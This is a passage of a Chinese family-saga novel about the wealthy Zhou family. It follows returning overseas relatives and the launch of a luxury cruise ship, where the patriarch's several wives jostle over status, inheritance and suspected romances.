“不了解云子,以为他是大坏蛋,了解他的人才知道云子就是一个长不大的好孩子。”
……
“往后我要住西山多一些,和元仕一起作土种菜。元仕七十好几了,我们俩兄弟一起的时间不多了。早知道元仕在这作土种菜,香港港湾半山的房子就不要了。”
在厅堂的另一侧,透过窗户看到往菜地里走去的女眷和嬉闹的孩子们,元昌大爷感触地说。
他转过脸望着懵懂的弟弟,作为兄长,他当然心里明白,对于失去两个优秀的儿子的弟弟来说,劳作就是他美好的全部生活。
“我正准备说,大伯你就别走了,住下来,想回冬塘老家也方便。我们吃的菜也全是老家那里运过来的。”
周瑞年对周元昌大爷说完,再告诉老人道,
“别看现在闹闹嚷嚷的,是大家庭,孩子们一走,就会空得很。到了冬子他们孙辈这一代,孩子们又不喜欢与我们老人一起,春子他们又忙,都不在身边,只有我们老俩口和他们爷爷。”
那样的湛蓝天空之下,那样的矮丘的土垅之上,越过庭院红砖墙外面那样的山林里,那样的山峦起伏的百里之外,却有一种惊心动魄的故土情怀在呼唤着他们,这些一别四十多年海外归来的游子,挟持着凄凉悲壮的一腔情怀。
大爷周元昌、周瑞佑周瑞恩兄弟俩,他们在西山住两天,执意赶着要去冬塘牛家垮周家老宅,说还要准备在老宅住些日子。
这些逃离故乡的海外游子,劫后余生,一别四十多年,今日重回故里,他们不日后,即将启程前往冬塘古镇牛家塆周家大院老宅,才算是真正的回归故里,了却近半个世纪的思乡之情。
已到了风拂日暮时分。从秋华冬花那里出来的思家在另一幢楼里,找到了将自己笼闭一室面壁打坐的晓秀。
“知道我是谁吗?”
??秀微闭双眼,一动不动地问来人。
“您是四姨!”
“也对也不对。在家叫‘四姑’,在外面叫‘四姨’。”
“……”
“是不是从地摊上看了我很多八卦消息?”
“是。”
“你应该回答不是,是从书店里看到我的传记。”
晓秀顿了一下,又故作庄重地说,
“从现在开始,你坐我的位置。这个正式移交给你了。你那个春子二叔,别看他四十几岁,是个老奸巨猾的家伙。我早知道他会炒我了。我也正想炒他。”
“二叔说,我从普通员工做起。”
思家低声地说。
“别睬他,来这里我说了算。”
晓秀说完,盘起腿起身,用手指着窗外那一簇簇的树丛,说,
“看到没,这几个都是等我走要抢我位置的人。周振春这个大奸商,早就让这些人盯着我呢。”
“四姨,我们现在是在家呀,外面没有人啊。您也不能这么说二叔嘛。”
思家往窗外面看到的是一簇簇茂盛的树荫。
庭院种的都是常绿树,这些亭亭如盖的常绿树,完全不同于人的形状。
当然它们不可能是什么样的人,去争夺晓秀的主管位置。
“就当我现在是在公司,是在红尘喧嚣的世界里。我跟你说,你们老周家,除了我爸爸妈妈,没几个是好人。”
晓秀像是讨厌什么,继续说,
“趁我现在还未披架裟,跟你龌龊至极的世俗人能够说上话。你从现在开始,改名不用换姓:叫‘大思家’,以后遇上那个小思家就不会乱了男女。”
思家是通过媒体八卦消息了解晓秀,现在亲眼目睹,觉得她非常可怜。
尽管晓秀比自己大不了几岁,她还是毕恭毕敬地称呼晓秀“四姨”。
她虽然被晓秀的举动弄得莫名其妙,心里有些不悦,但更担心晓秀的不快,还是毕恭毕敬探问她:
“四姨,我什么时候跟您去公司?”
“过几天?我也不知道。我得听周振春的。我把手里的档案交给你,再回来出家。”
“啊?……”
“我如果不去交接,我相信周振春会把我扔到荒山野外,建寺院盖酒店都会泡汤;爸爸妈妈也不会原谅我,与三个姐姐的姐妹关系也到此结束。所以我不得不回去与你交接,而且还要完完整整地完成。要是换了我以前,我会故意拖延推诿,让自己躺在黑暗里隐藏起来。所以在公司大家都很怕我,也许你来的正是时候,刚好赶上我皈依的时间。”
18. 第十八章
参加邮轮启航仪式的来宾中,喻蓓己经让出主妇的宝座,这个聪明绝顶的女人为了保全自己下一代的利益,隐藏了自己身份。
在得知周瑞年不参加庆典仪式后,她恳求公公在庆典仪式结束后和她一起去参观邮轮。
“爸,我陪您去看看,当作散心。修子说,要是爷爷去的话,他就好好陪爷爷过去看看。”
“修子真是这么说?”
周瑞年一下提起精神,注视着喻蓓问,下意识地望了一眼台上的电话,但他没给孙子打电话。
他知道,自己问修子,修子肯定会这么说。
周瑞年不打电话给孙子,然而修子却很凑巧地打电话过来给他。
“爷爷,您准备什么时候去?”
孙子在电话里像是没头没脑地问。
“爷爷准备什么时候去?等你什么时候去。”
周瑞年知道是母子俩商量好的,但还是很高兴地回答孙子说。
在周瑞年众多孙儿中,修子是他最喜欢的一个。正是因为修子,周瑞年春子妈夫妇放下了对儿媳妇多年的积怨。
“爷爷,我正在作一项我们家族的实验,要收集每个人的信息和数据,包括基因检测。”
孙子在电话里说。
“你说什么啊。爷爷听不懂。”
周瑞年呵呵地笑道,
“原来你是有求爷爷。不过,爷爷大力支持。你爸说了,你做的是一件非常伟大的事情,不知道你爷爷奶奶还能不能等到那一天。”
“爷爷,我要让您和奶奶活三百岁。这是真的。”
“噢?那太久了。人活那么长寿,那成什么啦?”
“这叫采集基因信息,然后根据数据显示制出长寿的规划。”
“这也太简单了吧?”
……
爷孙俩通完电话后,周瑞年答应了喻蓓。
喻蓓说她这次去,准备在雪秀府邸多住些日子,多陪陪爷爷奶奶,也顺便让学识渊博的修子好好教育弟弟妺妹山子他们。
“原先我以为退下来了,可以在家好好教育孙子们。看来要教育孩子,不但需要一番努力,还必须要有一定的好耐心。我就不行,教育这方面,比老爷爷差,也不如春子,关键是没耐心,知识也不够。有些知道是这个意思,就是讲不出那个道理。”
周瑞年缓了缓口气,再说,
“倒是瑞恩可以。瑞恩要写书,也跟孩子们不熟,他自己也有五个孙子了。”
“修子小时候,春子一直带在身边。从小到大就不缺教育上这一块。现在她们三门,一看就很缺。”
“唉,”
周瑞年长吁口气,看着蓓蓓说,
“既然你说岀来了,我就跟你说,让春子多陪陪孩子,多教育孩子,不要一门心思都在公司上。春子跟我说过,修子不肯接班,让他很为难。你应该也知道他。”
“我知道,我也劝过修子,还哭过求他,可修子就是不答应。我也为接班的事发愁,春子当然更加发愁。”
本来是夺人之夫的罪魁祸首,现在却倒过来为人家丈夫担心,看上去太不合逻辑了。
但作为共同的丈夫,是合乎情理的。
“我是不会发愁。我只能管到冬子修子这一代。我相信他们这一代没什么担心的。下下一代就由春子管了,所以他才发愁。你要多体谅他。现在我们老周家,春子最累的。我也不知道他是怎么忙过来的。”
周瑞年还是第一次与二儿媳妇这么面对面坦然交谈。喻蓓也是第一次与公公说出自己的内心感受。
公公与儿媳妇有着永恒的血脉关系:为孙子为儿子的利益前程,需要共同面对不可预知的各种挑战。
“我跟他有大半年没见过面了。他的家在雪秀那。苏姝诗筠那两门,也是驿站一样的。修子跟我说了,如果在山子明子诚子三兄弟选接班人,他爸就必须要多去陪他们。”
“看看,还是修子最聪明啊。”
“打江山难,败江山易。你看冬花,真不好说什么。这是我们作父母的责任。现在只好把她养在家里。”
这是周家在新千年世纪之初的盛典,人人都因有幸参加这次盛典而陶醉。
这样的胜景,没人告诉她,喻蓓已无从得知了。她什么也不需要了,只要那青衣皂袍的平静与安心,自己能否做到选择修行的道路以后的寂寞和简朴,那须得有了脱红尘俗世的勇气和决心。
世俗生活中所有的愤怒、妄想、贪婪、渴望……种种人类的恶习都要挥之而去。
她就是这么在心里面自我安慰。
造价上百亿,有十六个乘客甲板和二千六百多个客舱,这艘长度三百多米,载客量达到七千多人的巨型豪华邮轮,停泊在维多利亚港湾,令人惊叹。
它拥有八个不同的街区,其设计兼顾刺激与放松,提供了如完美风暴滑梯和终极深渊等刺激的项目。船上提供了豪华舱房住宿、世界级餐饮和多样娱乐选择,深受家庭和探险爱好者的喜爱。
木板路带来海边游乐园的氛围,皇家步行街则是热闹的购物区和餐饮区。
主场大厅休息区中央悬挂着何穗六米长三米高“郑和下西洋”的画作,为这豪华的邮轮增添壮丽的色彩。
人们为神奇古代传说和色彩斑斓的画卷所吸引,纷纷在此画作下驻足欣赏合影留念。
当雨秀雪秀诗筠她们换好衣服进入主场厅后,两群小学生手拿着鲜红的花儿,列队从客舱里走出来,随着欢快的乐曲节奏翩翩起舞。
舱门入口处划分出独立的前厅接待空间,将通往不同舱室的通道设计为亭台回廊,一路上以何穗的艺术壁画与装置小景观重现古代的竹林小径,引导宾客从入口步入。
如同古国若有客来访,主人定当引领穿过二三进院下榻至客房。
万柯公司所有挂壁图案包括贴墙刷画都来自何穗的作品。一些国外人士蛮有兴致看了这些画后,批量订购。何穗所画的作品纳入万柯旗下美术广告公司。
女人的眼睛有点湿润了,看着到处都挂着自己的画作,心里涌起诸多感慨。
何穗说她要为自己创造一个美好的童话世界。她需要这样的世界,因为这份美好可以治愈自己千疮百孔的心。
借此机会,周振春又在巴黎为何穗举行一次画展。由于她画风很有特色,成为国际知名画家。
来宾们在走廊上摩肩而过,苏姝用她喜悦的眼神对着前来的男人满含深情地笑。
男人的四个女眷都有专门的舱房。
喻蓓、苏姝、诗筠三门女人的舱房都是一个规格:卧室、小客厅、厨房、和共享的健身房和康乐设施。以雪秀为最,里面卧室、客房、会客厅、盥洗间、厨房、儿童房、书屋……女人职业生涯专属的医务室,所有贵妇人陆地的居家设施,在这艘邮轮上,一应俱全。
“我自作主张带妈妈来,你不会生我的气吧?”在苏姝的舱房,女人稍偏着头偎在男人肩膀上嗔笑问男人。
“是我忘了跟雨秀姐说了。”
“你又揽到自己身上了。天下人都知道她是管人事的董事长。”
“来了就好,不要去猜测这个那个的。”
男人皱了皱眉头,叉开话题再说,
“我希望你能多和诗筠一起。雪秀姐这边倒不必太刻意。”
“我倒是喜欢雪秀姐。她却忽冷忽热的样子,让人难以接近。”
苏姝说的是指四房的诗筠。
“你是姐姐,她是妹妹,所以你要像雪秀姐姐学习。”
男人嘴上虽然这么说,心里头却在思忖雨秀姐因什么事与何穗闹得这么僵。
苏姝呆呆地看着男人,脸上红霞悄然泛起。
如果说有什么已在不知不觉中变化,那便是迁居到香港后,与男人两颗渐渐靠近的心。
这一年里,苏姝如愿以偿,又为男人生下一个儿子,如今他们的这个孩子己经满三岁了。
这个年轻的女人感概地说:女人该结婚的结婚,该生孩子的时候就生孩子。幸福生活是孩子带来的,对于身为母体的女人来说,能够体验生命从无到有神圣的过程,一生当中拥有自己的孩子是一件值得高兴的事情,能够拥有多个孩子是一生足以引以自豪的事情。女人做了妈妈以后,再不成熟的人也会变得好像瞬间成熟一些,因为她的身上多了一个任何人无法替代的高贵的身份和责任:
那就是“妈妈”!
生命诚可贵,孩子是无价之宝多!多几个孩子比什么都值钱。孩子的成长更是喜悦之极,让人感到生命的珍贵和奥密。
有人说人生的基本意义就是吃饭和繁衍,这两条做到了,才能有资格去追求所谓灵魂上独立与自由。孩子只要没有恶习,就是人类社会的最大的贡献。
男人都希望自己有很多孩子。特别是像周振春这样的财阀贵族,他们需要众多的子嗣来继承自己的地位和价值,为自己分担财富,守护着庞大的家业。
男人从沙发上支起身子,正要岀去看看诗筠的舱房,何穗走了进来。她一见周振春就直接对他说:
“我是不请自来。”
“我以为何老师很忙。”
男人不紧不慢地说,“现在公司所有的行政事务,都是冬子打理。这次邮轮启航仪式,我也没看名单。”
“我想雨秀应该知道的。是她作主定下的来宾吧。”
何穗坚持说。男人没再吱声,何穗说出了实情,脸上的表情明显带着恼气。
“世界这么大,人生这么长,总会有这么一个人,让你失望扫兴,尽管我想要温柔以待。”
何穗像是要面对男人剖白自己一样,说完之后,连说话的声调都变得冷淡起来再说,
“世人千万,不是人人都能如己所愿。人心贪婪,总想寻找两全,但这世间难有什么两全之策。人生百年,不过是教人如何取舍。”
正值花朵盛年期的女儿,让母亲感到自己开始枯萎的容颜。母亲调整坐姿为女儿轻拢垂到脸颊的发丝,又为年轻男人拉了拉有点褶皱的衣服。
但母亲这副与人斗气的样子,做女儿的心知肚明。苏姝冲男人扮个鬼脸,蹑手蹑脚地走了出去。
此刻也许女人的内心不得安宁?会不会想起枫叶红牛家塆度假村周家老宅、那天晚上和年轻男人一起时酣畅淋漓的精疲力竭?
她不知道把他们的儿子放在女儿身边,女儿有没有怀疑过?
“对他来说,妈妈就是‘妈妈‘。他就算也是妈妈的……这个‘丑’字眼儿我可说不出口。既然如此,我们仨一起时,为什么你还用那种眼神看我呢?我可是你的女儿呀。”
有时候,女儿不得不这么提醒自己有点放纵妒忌自己的母亲。
女儿也知道,如果故意让母亲与男人一起,女儿相信,对男人来说是一种侮辱,自己定必会遭到男人的唾弃,从此以后会像太太喻蓓一样打入冷宫。
何穗遭到柯家姐妹的拒绝,不请自来,推己及人,男人察觉到柯家三姐妹心中大概也在怀疑自己与她的暧昧关系。
女人在威尼斯画展上拥抱过男人,回公司后雨秀不动声色地问过他:是不是曾有过姐弟恋。
作为公司主管人事的副董事长,总经理雨秀,跟随男人身边所有的工作人员都是由她安排,其中又有多少在暗中监视自己,男人人心知肚明。
快半天了,男人没有过来同她打句招呼。得知男人在女儿的舱房,女人也顾不得回避什么,赶紧随后而来。
从一瞬的恍惚中清醒过来之后,女人的双颊也有点泛红了,她给男人带来一包家乡茶。她看着男人说:
“您要品尝一下家乡茶吗?”
她眼睛里满含倾诉之情,故意使用“您”,似乎想要凑得离男人更近些。
“谢谢了。”
“你越客气,就越陌生了。”
女人的口气很失望。
这个的女人,总是寻找机会与男人接近。
男人不想接受女人任何的提醒和暗示。但女人这时却端起台上的酒杯,凑到他跟前说:
“怎么样,稍稍喝点好吧?”
她小声对男人说,并用眼睛睃着摆在台面上的红葡萄酒示意。
男人摆摆手,表示不喝。
“威尼斯回来,姐问我和你“姐弟恋”的话,以后规矩一点,我身边的人都是姐安排的。”
男人不得已说出这句话,就走了出去。
女人独自呆愣愣地坐在女儿的舱房。男人受到柯家姐妹的监视,对他们之间的暧昧关系己经产生怀疑。
男人也对自己亲近带着明显的抵触,女人知道,自己与男人的关系再也不会出现有任何的亲近的关系了。
如今众目睽睽之下,在雪秀大喜的日子里,须守着礼节不能越雷池一步。
要不众口铄金,积毁销骨,总得付出代价。人立于天地万物之间,怎能我行我素独立于世?如果要是去挑战习俗,须有强于世人十倍百倍的勇气和实力。
女人给自己喝了一口葡萄酒,借此让自己忧闷的心情缓和下来。
女人以一双慧眼洞彻人性的弱点和世间的荒诞,并以自己作为女性柔韧的力量获得依附男人的成功。展望未来,女人在心里坚信未来是属于她的,觉得这世界最美好的一切都未来可期,也不必在意他人的评判。
在四十岁之后,不会再卷土重来,普通人也不会在五十岁活出她这个年纪的逍遥自在。在女人的世界里生活中毋需带着一种负罪感。女儿也在这豪华的邮轮上有一间属于自己的舱房,她也可以随时入住其间。
这里集中了名媛淑女,是风流公子儒雅少爷情有独钟流连往返的场所。
这些名媛淑女,她们锦衣玉食,游走在时代的前沿,看遍世界繁华,生活如鱼得水,在上流社会风情万种花枝招展。
只要她们愿意,??临这样的盛典总会邂逅一些美好的事情来。
她们裙裾飘逸,芳香满溢,一样的身姿袅袅,一样的纤纤玉手,骄傲无比,也欣喜不已。在邮轮上凭栏远眺,或穿梭于庭园、影剧院、舱房走廊、街巷中间,个个仪态不凡千娇百媚。她们成了风流公子儒雅少爷,热烈追逐青睐的对象。
一身舒缓的淡蓝色连衣裙,左腕戴一个细细的银色手镯,长卷发随意披着,更显得温柔又迷人,在自己的舱房面对万柯公司自家摄影师的镜头,诗筠从容温柔,显得特别开心。她希望自己记录下这个美好时刻:这既宝贵又温馨幸福的时光,值得自己一生去回味。
男人准允她和苏姝同来,保持低调和谦逊,不得在任何媒体公开抛头露面,只允许万柯公司自己的摄影师为她们拍照留念。
修子放弃继承家业,只能由雪秀三个儿子参与家族产业管理。诗筠和苏姝两门子女只能做学问,不得从商。就是雪秀三个儿子中日后选定一人继承家业,另两兄弟也只能是另外去拓展自己的领域,各自发展彼此促进。
男人为了让雪秀的儿子们牢牢握住了家族的产业继承权,还要求其他两房对雪秀尊敬有加,在处理家事时也事事以她为尊。
这样的家庭地位,原配喻蓓都不能拥有。
在这片繁华得令人目眩神迷的土地上,豪门家族的故事就像一部部跌宕起伏的传奇大戏,轮番上演。有的家族在纸醉金迷中迅速沉沦,有的则在明争暗斗里分崩离析。
要想让家族屹立于豪门之林,男人深知,豪门之中,“人心乱” 是最大的隐患,多一门户的女人,往往就会多一份无尽的纠结是非。
当男人立雪秀为大房夫人时,他就像一位坚定的守护者,给予了女人无比坚实的后盾。苏姝诗筠两门的孩子,命运就是安安分分地做个有文化修养的人,不能染指家族企业对家族企业有任何的奢求。
熟读古书,在商海纵横交织阅尽世间冷暖的男人深知,在这个瞬息万变、人心难测的世界里,家族的兴衰成败,不仅仅取决于财富的积累,更在于家族制度的完善和传承。
豪门生活,并非表面看到的那般风光无限。
姨太太们子女,虽然在家族事业上受到限制,他们在其他领域也能找到属于自己的精彩人生。与此同时大房子女们,在享受家族荣耀和资源的同时,也肩负着更大的责任和压力。
这些未来的财阀家族,他们将走向何方?他们在继续延续辉煌的同时,也会面临很多挑战和变革。每个家族成员,都在这个庞大的体系中扮演着独特的角色,共同书写着家族历史辉煌的传奇。
庞大的产业对于男人来说需要更多的子女开枝散叶。子女多了,就可以有更多的联姻贵族豪门,对于家族持续的兴隆也是莫大的帮助。
男人要求后代更有进取心和危机感,低调务实。兄弟们之间团结,有人情味有家教,有志向更有担当,秉着“成功者秉正而立,事顺者持善而行”信念,互帮互助和睦相处共同发展。
男人用自己的智慧和威望,将这个复杂得如同乱麻的家庭关系梳理得井井有条。
诗筠见男人过来,忙让人把四个儿子周思新、周思若、周思宁、周思君找来。
“以为你先去雪秀姐那儿。”
女人有点不好意思笑着对男人说。
她刚换的三件套桃红搭配金色珍珠玛瑙红耳环,这身衣服太鲜艳。
“她那还没去。先看看你这。”
男人对女人说。
男人走进女人舱房每一处查看,看到大儿子修子在客舱房聚精会神地在台面上打开笔记本电脑,不断轻叩键盘忙碌着。
大儿子修子现在正在做一项周氏家族的基因数据库,准备在暑假期间能够做出实验报告。周家所有的人都知道,这是一项非常复杂而又具有深远意义的伟大工程。
“我让修子过来的。”
女人高兴地告诉男人,
“他是做学问的大哥哥,以后思新、思若、思宁、思君弟弟就跟修子做学问。”
“好。你是老师出身,有眼光。”
女人这么份豁达,让男人很高兴。他走到大儿子身边。
“爸,回去要采集您的静脉血液。今天刚好冬子哥维子哥欣子姐他们都在,四姨让我过来,我就过来了,等爷爷奶奶来时,我陪他们再来。”
儿子头也不抬地告诉父亲。
“干嘛现为不采呢?”
父亲有点不解。
“今天是大喜日子,按咱老家的规矩,我跟修子说爸爸和二姨的今天不能在邮轮上采,等回家再采。”
诗筠替修子回答。
“搞科学研究还得讲究‘黄道吉日’吗?”
父亲朝儿子问。
“科研成功就是‘黄道吉日’。不过在不妨碍研究的前提下,还是尊重一下习俗好。四姨说得有道理,还是回家再采您和二姨的。要不心里会有疙瘩的。”
儿子这么回答父亲。
“我让修子以后就多带弟弟们,多来四姨家,修子上邮轮的话,这舱房也让修子住。”
女人兴致勃勃地说。
这个三十不到的女人,两年一个持续跟男人一连生四个儿子,仍充满着青春的活力。
她对男人说,还要生,最好是个女儿。
“这个你还真跟我想到一块去了。修子你愿意吗?”
“只是怕我时间不够呀。”
儿子回答有些慵懒。
男人走出客房,回到客厅,坐在沙发上。
女人回卧室换上一套浅紫色短袖的衣服,从沙发一侧的手包里拿着二张照片,指着照片上的女孩递给男人告诉他说:
“冬子说,是维子的女朋友,可维子不承认。女孩家里是做珠宝生意的,跟冬子也认识,不知道什么时候跟维子好上了,冬子不知道维子和这女孩的关系,让女孩来了,维子不高兴。我看是这女孩缠上维子了,现在也在邮轮上。”
“噢?”
男人接过照片认真看了起来,
“照片看不出来的。家境条件可以的话,女孩有文化,可以谈吧?”
“冬子说是普通人家的女孩。”
“那他们是怎么认识的?”
“都是一起的留学生呗。”
“普通人家的女孩?冬子说?”
男人再看着照片,揣摩起来。
女人穿戴利落后,挨着男人也坐下来,像是看透了照片上女孩的心思,说:
“像是我这种出身普通家庭,来自偏远山区小地方的女人,跟着先生,能够达到今天这种衣食无忧的地步,堪称人生最大的赢家。
现在我们老周家的孩子,一走岀去就会引人万众瞩目,这个不用我说了吧。”
女人最后一句,故意把声音拖得很长。
“冬子说得也有道理,但关键还是看人吧?也不要过于拘泥于门第之见。”
男人对女人说。
周家对自己的孩子管教严格,相信维子与这女孩的感情关系,没有到不可收拾的地步。
“年轻人多接触不同的异性,知道各有不同,选择什么样的人适合做自己终生伴侣。只是要把握好原则。”
男人把照片递还给女人,女人接过放回沙发上她那小包里。
“冬子好像一点动静都没有?大姐却等着抱孙子。”
女人微躬屈膝,歪着头看着男人笑着说。
她从几上拿过自己的保温杯,伸到男人跟前,男人接过,喝了一口水,递还给女人,女人接到手里也小小地喝了一口水,再放在几上。
“冬子要是有了女朋友,就会很快结婚。结了婚,生了小孩,我就成了爷爷,你呢,就是奶奶了。”
男人故意显出庄重的神情对女人说。
“咯咯”女人哈哈大笑,起来,忙着说:
“要是这样,我倒希望冬子别这么快结婚,要不说不定侄子和婶一起生孩子了。”
“你好好养身体,把孩子培养好就是功臣了。不要再生了。”
男人提醒女人说。他这句话,自从四儿子周思君生下来后,男人多次跟女人说过。
“我想要个女儿。你得再跟我生一个。”
女人没答应他,还是固执地要生一个女儿。
“女儿?——!”
男人略有所思感慨地说,“我现在看着女儿,心里又高兴又发愁,有时候考虑女儿的事来是令人头疼的事情。”
“你是担心女儿长大成人,嫁人了婚姻受伤害?”
“当然。如果真的婚姻到了这一步,受伤害的还是女人多一些。”
男人有点伤感地说,
“我对苗子说,你出嫁时,我会对女婿这么说:‘如果有一天你不爱她了,记得不要欺负她,不要伤害她,你告诉我,我带她回家‘。就像你姑姑冬花一样。”
“唉,你就操劳心太多了。你看你像是四十几岁的男人吧?”
女人心疼起男人,伸手轻抚了一下男人花白的头发,
“雨秀大姐说你,你坐着就像是姜太公。不同的是姜太公手持的是一篙钓杆。你手捧着的是一本书。说你太操劳了,身边没有一个能够帮得上的帮手。”
周家上下心疼年轻男人,拿他与年逾七旬老人比,一是说年轻男人的满腹经伦,韬略壮志;其实才是说年轻男人的身影神态与他实际年龄不相符的老成持重的沧桑。
门外嘈杂的脚步声和孩子们的嬉笑声传来,男人和女人赶紧在先入的摄影师的安排下,摆好位置,准备和孩子一起拍全家福。
拍完后,秘书走过来告诉周振春,雪秀有事让他过去她那儿。
维子的女朋友吴婧英在维子的引见下,来到了雪秀的舱房。
这是吴婧英再三的恳求下,维子不得已硬着头皮公开与吴婧英的恋情,带她去见自己周家的人,这艘邮轮的主人。
雪秀不知道说什么好。因为自己曾经的恋爱经历一团糟,她知道以她的恋爱经历放在任何一个女孩子身上,都是一场劫难。
她让人去找周振春,让男人为维子和吴婧英的关系一锤定音。
在街区与长廊相连接之间雪秀的舱房,一个女孩规规矩矩地坐在雪秀的对面沙发上,很矜持地笑。周振春一进来,女孩立马起身躬身相迎向他问好。
“茂盛珠宝吴总吴大年的女儿吴婧英。”
雪秀把女孩介绍给周振春。
“噢?”
周振春愣了一下,想起来刚才诗筠拿给他看照片上的女孩。
吴大年是香港新加坡的珠宝商,年初在商会上见过次面,没什么深交,平时不怎么来往,也就没什么印象。
这次启航仪式,都是冬子雨秀筹划,包括请来的来宾。男人也不知道,有没有请吴大年珠宝商,当然他也不会问这个尴尬的话题。
男人还是相信刚才诗筠告诉他所说的,是冬子也认识女孩让她上邮轮的。
女孩穿着质地很好的铁青色单衣,粉色罗纱的外礼服,胸前挂着来宾证照。
女孩落落大方,有见过世面的涵养,更有着来自异地他乡特有的丰润的圆脸,白皙的皮肤,好像是个专为人间的贤妻良母作为女性的。
从谈话得知,女孩是特意从英国赶来代表自己珠宝商的父亲参加启航仪式的。
“本来家父要一起来,正巧新加坡那边今天有家店开业。”
女孩落落大方地告诉说。
“看来好日子都碰到一起了。”
周振春边笑边望着女孩,再问她,
“你有几兄妹?”
“我们两姐妹。姐姐已经嫁人了,我大学刚毕业。和维子是留学的同学。不知道维子有没有告诉您?”
“维子还没有说。冬子认识吧?”
“她说跟冬子欣子德辰他们都熟,常在一起玩。也跟修子一起吃过几次饭。”
雪秀代女孩回答。
“我倒很欣赏修子,也很喜欢和他一起。”
女孩抬起头,望向周振春甜滋滋地笑着说,
“只是修子总是一副冷冰冰的样子,让人难以接近。”
大儿子有颗金子般的心,心明澄净,也能感染别人。作为周家大公子,得到众多的赞誉和异性的青睐,也是自然的事情。
修子有句口头禅:坏心眼儿会遭报应。
是为了不让旁人打扰自己,也像是在调侃自己顽皮捣蛋的弟弟妹妹,又像是向自己弟弟妹妹行为不端时对他们发出严厉的警告,更是让自己的品德保持节制和严谨自律。
周振春看着女孩,不知说什么好。
女孩这么坦诚说自己喜欢修子,也许是爱上了修子,可与维子是留学的同学,这就是说女孩比修子大几岁。
修子从未提及过自己认识女孩,跟他妈喻蓓也从未说过,要不喻蓓肯定会问他这个作父亲的。
或许是女孩一厢情愿吧。
“见过维子冬子他们吗?”
周振春朝女孩问。
“见过。看他们在忙。没来得及多说什么。”
女孩回答完,见秘书不时进出向男人请示,知道男人的时间很宝贵,不能再闲聊。
她站了起来,起身告辞,
“叔、二姨,打扰您们了!”
女孩离去后,周振春对雪秀说:
“这吴婧英的女孩,有见识有主见,维子可以考虑。如果这个家伙愿意,应该嫁到我们老周家来。”
周振春起身坐到雪秀身边的另一张沙发上,随手拿着一份报纸翻看,说。
报纸头版头条整个版面报道是周家“雪秀号”邮轮启航的报道,也伴随着周家五花八门的花边消息充斥着各大媒体的副刋。
“可女孩明说,是喜欢修子。”
雪秀说,她把只手压着报纸,和男人一起往上面看。
“比修子大几岁。”
“是啊,只是比修子大几岁。”
雪秀把压在报纸上的手,放开,坐正身子,再对男人满含深意地笑着说,
“女孩的神情,是冲着修子来的,如果儿子不成,说不定就会冲着年轻的父亲来。”
“你也学会尖酸刻薄起来,这样的话,你竟然说得出口。”
“不是吗?报纸上就经常出现儿子女儿带女同学女闺蜜让父亲看中纳入门户的。”
雪秀伸出手摸了摸男人的脸,亲昵地戏谑男人说。
男人优雅愽学、富有、拥有崇高的地位,深受女性的崇拜,也习惯于诸多女性向他投来的友好感情,有心仪的女人倾情奉献他,男人如果自然而然接受,似乎也是一件无可厚非的事情。
这让女人有时不得不耽心。尽管女人知道自己男人待人严谨,不会对外面的女孩有什么邪念,更何况这样一位自家晚辈的女同学。
但女人还是得把话说出来,是有意提醒男人,也是向男人发出警告。
女人缩回手,还是站起身对着梳妆台试穿衣服,瞥了男人一眼,深有感触地说:
“我现在才知道你有那么多崇拜者。”
她边说边拿出了粉盒补妆,见男人不说话,再望向男人,故意长吁口气再说:
“有不少人向你献殷勤吧?尤其是这些年轻貌美的女人。”
外面的新闻媒体等着雪秀岀去拍照,姐姐雨秀咚咚踩着急匆匆的步伐而来,看到女人正在戏谑男人,一进来就说:
“我会不会做你们夫妻俩的电灯泡?要不我还是退出去吧?”
“姐,你怎么不请何姐呢?”
周振春起身走向雨秀身旁,问她。
“她还用我请吧?她女儿是你姨太太。”
雨秀不客气地回答周振春。
“我看思雨很像修子小时候。”
雪秀说起苏姝的大儿子思雨。
“我这个蠢妹妹,你干嘛老夸人家的孩子啊?”雨秀凑到妹妹耳旁低声说,
“难道山子明子诚孑差吗?”
雪秀抬头仰望姐姐,不知说什么好,只好长叹一口气,对着雨秀叫了一声,
“姐——”
姐姐雨秀并没理会妹妹此时复杂的心情,又自顾自说道:
“你们同意不同意,以后我上邮轮就住雪秀这里,哪怕你们夫妻俩同时都在,反正还有二个客舱。”
“老周家的人都可以住,只是挂个名而已。其他也一样。我基本上不会住的。”
周振春告诉她们姐妹说。
“你不陪我?那我一个人有什么意思?”
雪秀转头看着男人问。
“这太慢,适合游玩,我现在哪有这时间?”
男人淡定地说。
男人这么一说,女人一时无语,只有呆愣愣地望着男人。
从中央公园外面嘈杂的声音安静下来,一支很欢快的舞曲响起来。
雪秀有点忙乱,带来的衣服太多,却不知穿那一套,幸好姐姐雨秀进来,替雪秀选了一套枣色公主袖连衣裙让她换上,显得成熟优雅,又带有几分天真,让人觉得既亲切又庄重。
雨秀边替妹妹穿搭衣服,边朝周振春瞄着眼睛,意味深长地说:
“今天很奇怪,来的先生和大人物带的都是年轻貌美的姨太太和女儿,一看净是些风流人物。”
“啊!”
雪秀听姐姐这么一说,愣住惊呼一声,凝视着男人。
“不管是年轻貌美的姨太太和女儿,个个都大方得要命,不分男女,初次见面就一个劲的套近乎,亲热得不得了,像是遇见了自己的家人。”
雨秀一边替雪秀整理衣服一边喋喋不休,像是在念咒语要镇住麻痹在群芳争艳美女如云的男人,
“如果男人没有本心的纯洁,像这种场合,是很难抗拒的。”
“人家全是绅士,放心吧。”
雪秀攥着姐姐的胳膊,眼睛却望向男人,愉快地笑着对姐姐说。
这时,冬子进来,他告诉雪秀说,要在二姨的舱房让摄影师拍一组全家福。然后再去苏姝的舱房拍,四姨的全家福己经拍好了。
万柯公司的摄影师完成周家的私人拍摄任务后,这两门姨太太的照片作为秘密的私人照,不会在媒体报道,会悉数交给女主人。
雪秀和怡子母女俩换了一身长上褂下长裙大红旗袍的穿搭,在这个自己大喜的日子里她要向人们展现旗袍这一传统服饰的魅力与独特韵味,让人们看到传统文化在现代社会中的新生与传承。
女人的全家福,不仅是一次家庭幸福的定格,更是一次时尚与文化的交融与碰撞。
雪秀的脸宁静安详,携着四个子女倚偎着男人身边,让摄影师在自己的舱房为他们全家拍全家福。
冬子和摄影师他们离去后,姐姐雨秀走过来揽着雪秀的肩膀对妹妹说:
“现在你是全天下最幸福的女人。”
外面响起悠扬的音乐声,启航仪式正在举行。可姐姐雨秀却没心情欣赏这优美的乐曲和主场大厅上欢乐的歌舞,而是径直冲向男人说:
“没想到五十岁这般老女人的年纪,还热情如火,看起来有趣,其实怪可怜的。要不是逢场作戏?要不是企图想要依附?是不是男人太优秀了毫无瑕疵?是不是老女人仍自信美艳如花?”
